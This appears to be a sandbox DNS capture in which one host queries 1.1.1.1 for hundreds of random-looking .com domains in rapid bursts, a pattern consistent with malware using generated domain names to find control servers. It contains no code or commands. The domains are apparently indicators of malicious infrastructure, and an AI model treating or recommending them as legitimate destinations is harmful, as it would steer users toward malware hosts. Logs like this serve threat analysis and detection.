Nov 11, 2024 18:51:16.799226046 CET	192.168.2.6	1.1.1.1	0xbe23	Standard query (0)	vofyzof.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.947202921 CET	192.168.2.6	1.1.1.1	0xeb12	Standard query (0)	lygymoj.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.947834015 CET	192.168.2.6	1.1.1.1	0x57ec	Standard query (0)	lysynur.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.948301077 CET	192.168.2.6	1.1.1.1	0x98f	Standard query (0)	qebytiq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:18.278886080 CET	192.168.2.6	1.1.1.1	0x14e9	Standard query (0)	vonyzuf.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:18.288707972 CET	192.168.2.6	1.1.1.1	0x84b8	Standard query (0)	gadyfuh.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:18.716356039 CET	192.168.2.6	1.1.1.1	0xb3bf	Standard query (0)	qeqyxov.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:19.018986940 CET	192.168.2.6	1.1.1.1	0x20e	Standard query (0)	qedyfyq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:19.129075050 CET	192.168.2.6	1.1.1.1	0x5dc9	Standard query (0)	pumyxiv.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:19.179208994 CET	192.168.2.6	1.1.1.1	0xdb27	Standard query (0)	volyqat.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:19.185204029 CET	192.168.2.6	1.1.1.1	0xbd8b	Standard query (0)	lysyfyj.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:19.188143015 CET	192.168.2.6	1.1.1.1	0xcdbd	Standard query (0)	puzywel.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:19.218338013 CET	192.168.2.6	1.1.1.1	0x9fd4	Standard query (0)	qekyqop.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:19.220840931 CET	192.168.2.6	1.1.1.1	0x101e	Standard query (0)	lyxywer.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:19.224169016 CET	192.168.2.6	1.1.1.1	0x1c9a	Standard query (0)	qegyqaq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:19.224425077 CET	192.168.2.6	1.1.1.1	0x226b	Standard query (0)	qedynul.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:19.243700981 CET	192.168.2.6	1.1.1.1	0x9f39	Standard query (0)	galykes.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:19.278652906 CET	192.168.2.6	1.1.1.1	0x5c82	Standard query (0)	purydyv.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:19.279839993 CET	192.168.2.6	1.1.1.1	0xd205	Standard query (0)	lykyjad.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:19.281217098 CET	192.168.2.6	1.1.1.1	0xe0a3	Standard query (0)	ganypih.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:19.282478094 CET	192.168.2.6	1.1.1.1	0xe3ee	Standard query (0)	qekykev.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:19.283701897 CET	192.168.2.6	1.1.1.1	0xa3b9	Standard query (0)	pujyjav.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:19.287636042 CET	192.168.2.6	1.1.1.1	0x75d1	Standard query (0)	gatyvyz.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:19.289406061 CET	192.168.2.6	1.1.1.1	0xcfd8	Standard query (0)	qetyvep.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:19.290715933 CET	192.168.2.6	1.1.1.1	0x8754	Standard query (0)	lyvytuj.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:19.767069101 CET	192.168.2.6	1.1.1.1	0x4baf	Standard query (0)	gacyvub.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:19.767160892 CET	192.168.2.6	1.1.1.1	0xf2bf	Standard query (0)	vonygit.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:19.767482042 CET	192.168.2.6	1.1.1.1	0x9996	Standard query (0)	pumygil.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:19.767868996 CET	192.168.2.6	1.1.1.1	0xf8b5	Standard query (0)	lysywyd.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:19.768801928 CET	192.168.2.6	1.1.1.1	0xdd89	Standard query (0)	qedyruv.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:19.768906116 CET	192.168.2.6	1.1.1.1	0x2b58	Standard query (0)	gadyrus.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:19.769179106 CET	192.168.2.6	1.1.1.1	0x4ad3	Standard query (0)	volycem.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:19.769345045 CET	192.168.2.6	1.1.1.1	0xe3c0	Standard query (0)	lymygor.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:19.769623995 CET	192.168.2.6	1.1.1.1	0x296c	Standard query (0)	puzyceg.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:19.769812107 CET	192.168.2.6	1.1.1.1	0x8414	Standard query (0)	qeqyhol.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:19.770323992 CET	192.168.2.6	1.1.1.1	0xaeee	Standard query (0)	vofyruc.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:19.770591974 CET	192.168.2.6	1.1.1.1	0xe15c	Standard query (0)	lyxyvyn.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:19.770853043 CET	192.168.2.6	1.1.1.1	0xb4c3	Standard query (0)	gaqyhaw.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:19.771130085 CET	192.168.2.6	1.1.1.1	0xc589	Standard query (0)	qexyvyg.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:19.771368027 CET	192.168.2.6	1.1.1.1	0x70e6	Standard query (0)	pufytip.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:19.771675110 CET	192.168.2.6	1.1.1.1	0x6ce5	Standard query (0)	vowyjak.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:19.771861076 CET	192.168.2.6	1.1.1.1	0x6514	Standard query (0)	lygytix.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:19.772047997 CET	192.168.2.6	1.1.1.1	0xa6ad	Standard query (0)	qekyxaq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:19.786385059 CET	192.168.2.6	1.1.1.1	0x26e9	Standard query (0)	qedykep.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:19.787600994 CET	192.168.2.6	1.1.1.1	0xc128	Standard query (0)	gacydes.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:19.787798882 CET	192.168.2.6	1.1.1.1	0x1fe2	Standard query (0)	galycah.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:19.787843943 CET	192.168.2.6	1.1.1.1	0xa41c	Standard query (0)	lykytin.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:19.787997961 CET	192.168.2.6	1.1.1.1	0x96d3	Standard query (0)	qekytig.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:19.788017035 CET	192.168.2.6	1.1.1.1	0x99b4	Standard query (0)	gaqynih.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:19.788193941 CET	192.168.2.6	1.1.1.1	0x44b8	Standard query (0)	lymynuj.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:19.792309046 CET	192.168.2.6	1.1.1.1	0x7f6a	Standard query (0)	lyryman.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:19.793225050 CET	192.168.2.6	1.1.1.1	0x4a67	Standard query (0)	vojyzik.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:19.793586969 CET	192.168.2.6	1.1.1.1	0x92ea	Standard query (0)	qebyvyl.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:19.827876091 CET	192.168.2.6	1.1.1.1	0x954b	Standard query (0)	pujytug.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:19.828193903 CET	192.168.2.6	1.1.1.1	0xccd5	Standard query (0)	lysyjex.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:19.828193903 CET	192.168.2.6	1.1.1.1	0x7f26	Standard query (0)	vowymom.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:19.828399897 CET	192.168.2.6	1.1.1.1	0x4031	Standard query (0)	puzypav.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:19.828533888 CET	192.168.2.6	1.1.1.1	0x39bf	Standard query (0)	qexysev.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:19.829437017 CET	192.168.2.6	1.1.1.1	0xe2ae	Standard query (0)	vofykyt.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:19.829487085 CET	192.168.2.6	1.1.1.1	0x6930	Standard query (0)	vojyrum.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:19.829674006 CET	192.168.2.6	1.1.1.1	0x8d28	Standard query (0)	gatyhos.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:19.830034971 CET	192.168.2.6	1.1.1.1	0x2288	Standard query (0)	pupyjap.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:19.880908012 CET	192.168.2.6	1.1.1.1	0x193	Standard query (0)	lykyxoj.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:19.948878050 CET	192.168.2.6	1.1.1.1	0xec15	Standard query (0)	puvydyp.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:20.004805088 CET	192.168.2.6	1.1.1.1	0x746e	Standard query (0)	lyvyver.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:20.011324883 CET	192.168.2.6	1.1.1.1	0x62a1	Standard query (0)	volypof.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:20.015002012 CET	192.168.2.6	1.1.1.1	0x3605	Standard query (0)	gadykyz.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:20.026611090 CET	192.168.2.6	1.1.1.1	0x22f3	Standard query (0)	purymog.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:20.027137995 CET	192.168.2.6	1.1.1.1	0xbec2	Standard query (0)	vocydyc.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:20.044784069 CET	192.168.2.6	1.1.1.1	0x64ca	Standard query (0)	gatyqeb.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:20.227752924 CET	192.168.2.6	1.1.1.1	0xaebb	Standard query (0)	pufylul.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:20.228034019 CET	192.168.2.6	1.1.1.1	0x9429	Standard query (0)	qetyhov.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:20.228508949 CET	192.168.2.6	1.1.1.1	0x6702	Standard query (0)	gahyziw.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:20.228526115 CET	192.168.2.6	1.1.1.1	0x1f4f	Standard query (0)	qetyqag.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:20.235501051 CET	192.168.2.6	1.1.1.1	0xe030	Standard query (0)	lyvyfux.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:20.235717058 CET	192.168.2.6	1.1.1.1	0x75f8	Standard query (0)	vopyqef.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:20.235899925 CET	192.168.2.6	1.1.1.1	0x655b	Standard query (0)	vopyjac.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:20.236088037 CET	192.168.2.6	1.1.1.1	0x1d19	Standard query (0)	qeqyniq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:20.236335993 CET	192.168.2.6	1.1.1.1	0x8230	Standard query (0)	pujyxoq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:20.236480951 CET	192.168.2.6	1.1.1.1	0x5e2c	Standard query (0)	qegylul.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:20.236610889 CET	192.168.2.6	1.1.1.1	0x9910	Standard query (0)	qebyfup.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:20.426606894 CET	192.168.2.6	1.1.1.1	0x30d7	Standard query (0)	vonybuk.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:20.430234909 CET	192.168.2.6	1.1.1.1	0x8117	Standard query (0)	ganyvyw.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:20.440694094 CET	192.168.2.6	1.1.1.1	0xafe5	Standard query (0)	pumybuq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:20.440887928 CET	192.168.2.6	1.1.1.1	0xb5cc	Standard query (0)	ganyfuz.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:20.441049099 CET	192.168.2.6	1.1.1.1	0x640e	Standard query (0)	lygylur.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:20.441344976 CET	192.168.2.6	1.1.1.1	0x26ee	Standard query (0)	galypob.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:20.441344976 CET	192.168.2.6	1.1.1.1	0x9cc9	Standard query (0)	lyxysad.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:20.441615105 CET	192.168.2.6	1.1.1.1	0x373d	Standard query (0)	pupywyv.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:21.844223022 CET	192.168.2.6	1.1.1.1	0xe801	Standard query (0)	lyryvex.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:21.844892979 CET	192.168.2.6	1.1.1.1	0x97cd	Standard query (0)	lyryfyd.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:21.845772028 CET	192.168.2.6	1.1.1.1	0xbf0e	Standard query (0)	puvytuq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:21.849484921 CET	192.168.2.6	1.1.1.1	0x4ea4	Standard query (0)	lygymoj.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:21.849612951 CET	192.168.2.6	1.1.1.1	0x70e9	Standard query (0)	gacyzuz.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:21.850372076 CET	192.168.2.6	1.1.1.1	0x137	Standard query (0)	qexyryl.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:21.850474119 CET	192.168.2.6	1.1.1.1	0x2a75	Standard query (0)	gaqycos.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:21.851483107 CET	192.168.2.6	1.1.1.1	0x71af	Standard query (0)	vojyjof.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:21.851593018 CET	192.168.2.6	1.1.1.1	0xb107	Standard query (0)	pumypog.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:21.852171898 CET	192.168.2.6	1.1.1.1	0xdbf6	Standard query (0)	purycap.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:21.852581978 CET	192.168.2.6	1.1.1.1	0xb6a1	Standard query (0)	vowycac.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:21.852802038 CET	192.168.2.6	1.1.1.1	0x8a94	Standard query (0)	lygygin.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:21.852967024 CET	192.168.2.6	1.1.1.1	0x9ff0	Standard query (0)	vocyruk.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:21.853272915 CET	192.168.2.6	1.1.1.1	0x9298	Standard query (0)	vopybyt.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:21.853411913 CET	192.168.2.6	1.1.1.1	0x1247	Standard query (0)	lymysan.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:21.853858948 CET	192.168.2.6	1.1.1.1	0x8fd3	Standard query (0)	gahyhob.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:21.871095896 CET	192.168.2.6	1.1.1.1	0xdca1	Standard query (0)	qeqysag.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:21.871251106 CET	192.168.2.6	1.1.1.1	0xe64e	Standard query (0)	qexylup.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:21.871639967 CET	192.168.2.6	1.1.1.1	0x6177	Standard query (0)	vofygum.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:21.871962070 CET	192.168.2.6	1.1.1.1	0x504a	Standard query (0)	gaqydeb.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:21.872088909 CET	192.168.2.6	1.1.1.1	0x44de	Standard query (0)	lyxylux.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:21.872180939 CET	192.168.2.6	1.1.1.1	0xdec7	Standard query (0)	pufymoq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:21.875371933 CET	192.168.2.6	1.1.1.1	0xe564	Standard query (0)	qebytiq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:21.878606081 CET	192.168.2.6	1.1.1.1	0xd5f1	Standard query (0)	puvyxil.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:21.883663893 CET	192.168.2.6	1.1.1.1	0xabfc	Standard query (0)	pufygug.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:21.886719942 CET	192.168.2.6	1.1.1.1	0xb8b9	Standard query (0)	vowydef.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:21.886888981 CET	192.168.2.6	1.1.1.1	0x6d03	Standard query (0)	gacyryw.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:21.891603947 CET	192.168.2.6	1.1.1.1	0x1eeb	Standard query (0)	lysynur.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:21.893399954 CET	192.168.2.6	1.1.1.1	0xf3a	Standard query (0)	volykyc.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:21.893996000 CET	192.168.2.6	1.1.1.1	0x5a47	Standard query (0)	vofymik.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:21.896539927 CET	192.168.2.6	1.1.1.1	0x79c1	Standard query (0)	pupybul.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:24.791176081 CET	192.168.2.6	1.1.1.1	0xbf77	Standard query (0)	qetyvep.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:24.826234102 CET	192.168.2.6	1.1.1.1	0xd3b2	Standard query (0)	lyvytuj.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:24.827466011 CET	192.168.2.6	1.1.1.1	0x6b28	Standard query (0)	gatyvyz.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:24.855489969 CET	192.168.2.6	1.1.1.1	0x95	Standard query (0)	pujyjav.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:24.946764946 CET	192.168.2.6	1.1.1.1	0xe027	Standard query (0)	lykyjad.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:24.978303909 CET	192.168.2.6	1.1.1.1	0xdc30	Standard query (0)	ganypih.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.046587944 CET	192.168.2.6	1.1.1.1	0x964f	Standard query (0)	qekykev.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.106446981 CET	192.168.2.6	1.1.1.1	0xe222	Standard query (0)	galykes.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.116779089 CET	192.168.2.6	1.1.1.1	0x7ddd	Standard query (0)	gadyfuh.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.117336988 CET	192.168.2.6	1.1.1.1	0x2ef8	Standard query (0)	qegyqaq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.167587042 CET	192.168.2.6	1.1.1.1	0x8bf4	Standard query (0)	qedynul.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.169997931 CET	192.168.2.6	1.1.1.1	0xedac	Standard query (0)	purydyv.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.200632095 CET	192.168.2.6	1.1.1.1	0xfc90	Standard query (0)	lyxywer.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.205337048 CET	192.168.2.6	1.1.1.1	0x74f5	Standard query (0)	qeqyxov.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.205821991 CET	192.168.2.6	1.1.1.1	0xabc3	Standard query (0)	puzywel.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.229994059 CET	192.168.2.6	1.1.1.1	0x8031	Standard query (0)	volyqat.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.232130051 CET	192.168.2.6	1.1.1.1	0x7d6f	Standard query (0)	qedyfyq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.232412100 CET	192.168.2.6	1.1.1.1	0xf8f7	Standard query (0)	pumyxiv.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.242862940 CET	192.168.2.6	1.1.1.1	0xf8e5	Standard query (0)	lysyfyj.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.802767038 CET	192.168.2.6	1.1.1.1	0xf224	Standard query (0)	ganycob.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.806097984 CET	192.168.2.6	1.1.1.1	0xc282	Standard query (0)	vonycaf.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.807919979 CET	192.168.2.6	1.1.1.1	0x5ecc	Standard query (0)	qekyryp.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.808532000 CET	192.168.2.6	1.1.1.1	0xfe79	Standard query (0)	vopyguk.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.818212986 CET	192.168.2.6	1.1.1.1	0x1b41	Standard query (0)	pumycav.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.823543072 CET	192.168.2.6	1.1.1.1	0x5113	Standard query (0)	qedyhiq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.823946953 CET	192.168.2.6	1.1.1.1	0x79e3	Standard query (0)	lysygij.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.840456009 CET	192.168.2.6	1.1.1.1	0x2031	Standard query (0)	volyrut.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.862776041 CET	192.168.2.6	1.1.1.1	0xdb10	Standard query (0)	galyryz.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.867217064 CET	192.168.2.6	1.1.1.1	0xf849	Standard query (0)	qegyryq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.868154049 CET	192.168.2.6	1.1.1.1	0x3183	Standard query (0)	gacycaz.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.869241953 CET	192.168.2.6	1.1.1.1	0xa892	Standard query (0)	purygiv.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.869612932 CET	192.168.2.6	1.1.1.1	0x6662	Standard query (0)	vocycat.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.875363111 CET	192.168.2.6	1.1.1.1	0x95d2	Standard query (0)	puvycel.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.876816034 CET	192.168.2.6	1.1.1.1	0xe23e	Standard query (0)	pupymol.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.889777899 CET	192.168.2.6	1.1.1.1	0x163a	Standard query (0)	gahyruh.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.891088009 CET	192.168.2.6	1.1.1.1	0x3a07	Standard query (0)	lyvysaj.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.893723011 CET	192.168.2.6	1.1.1.1	0xb8df	Standard query (0)	lygyjan.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.895461082 CET	192.168.2.6	1.1.1.1	0x5900	Standard query (0)	gahykeb.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.928287029 CET	192.168.2.6	1.1.1.1	0x6afa	Standard query (0)	qegykeg.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.928631067 CET	192.168.2.6	1.1.1.1	0xabf9	Standard query (0)	puzytul.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.937047958 CET	192.168.2.6	1.1.1.1	0x53d0	Standard query (0)	gaqyvys.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.937215090 CET	192.168.2.6	1.1.1.1	0x724a	Standard query (0)	lymyfyn.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.937572002 CET	192.168.2.6	1.1.1.1	0x3c65	Standard query (0)	lygywyj.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.937891006 CET	192.168.2.6	1.1.1.1	0x3928	Standard query (0)	lyxytur.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.938045979 CET	192.168.2.6	1.1.1.1	0x2de3	Standard query (0)	pufyjag.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.938215017 CET	192.168.2.6	1.1.1.1	0xafbf	Standard query (0)	qetynup.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.938646078 CET	192.168.2.6	1.1.1.1	0x3804	Standard query (0)	lyrygid.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.948983908 CET	192.168.2.6	1.1.1.1	0xb85e	Standard query (0)	puvypoq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.949187994 CET	192.168.2.6	1.1.1.1	0x342d	Standard query (0)	vowyguf.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.950498104 CET	192.168.2.6	1.1.1.1	0xfe27	Standard query (0)	qexyxop.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.950700045 CET	192.168.2.6	1.1.1.1	0xbcce	Standard query (0)	gaqyfub.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.950841904 CET	192.168.2.6	1.1.1.1	0x4379	Standard query (0)	pufyweq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.950985909 CET	192.168.2.6	1.1.1.1	0xdc23	Standard query (0)	vofyqek.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.951155901 CET	192.168.2.6	1.1.1.1	0x84d8	Standard query (0)	lyxyxox.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.951698065 CET	192.168.2.6	1.1.1.1	0xa16d	Standard query (0)	qebysaq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.951873064 CET	192.168.2.6	1.1.1.1	0xa612	Standard query (0)	qeqyfug.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.952027082 CET	192.168.2.6	1.1.1.1	0x63c1	Standard query (0)	purybup.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.960750103 CET	192.168.2.6	1.1.1.1	0xcd34	Standard query (0)	volyzic.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.960988998 CET	192.168.2.6	1.1.1.1	0x2fe1	Standard query (0)	qedyqal.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.961174965 CET	192.168.2.6	1.1.1.1	0x8f45	Standard query (0)	qeqyvev.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.962126970 CET	192.168.2.6	1.1.1.1	0xe93	Standard query (0)	pumydyg.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.962308884 CET	192.168.2.6	1.1.1.1	0x2441	Standard query (0)	vocypok.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.962475061 CET	192.168.2.6	1.1.1.1	0x9f4c	Standard query (0)	vonydem.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.962613106 CET	192.168.2.6	1.1.1.1	0xf95f	Standard query (0)	qekyluv.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.963047981 CET	192.168.2.6	1.1.1.1	0x2c37	Standard query (0)	ganydeh.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.963236094 CET	192.168.2.6	1.1.1.1	0xaa74	Standard query (0)	lykylud.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.963411093 CET	192.168.2.6	1.1.1.1	0xc9b2	Standard query (0)	vopymit.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.963743925 CET	192.168.2.6	1.1.1.1	0xe64b	Standard query (0)	pujylyv.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.963979006 CET	192.168.2.6	1.1.1.1	0x9fa8	Standard query (0)	gatyniz.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:25.964162111 CET	192.168.2.6	1.1.1.1	0x21a8	Standard query (0)	gadyqaw.com	A (IP address)	IN (0x0001)	false
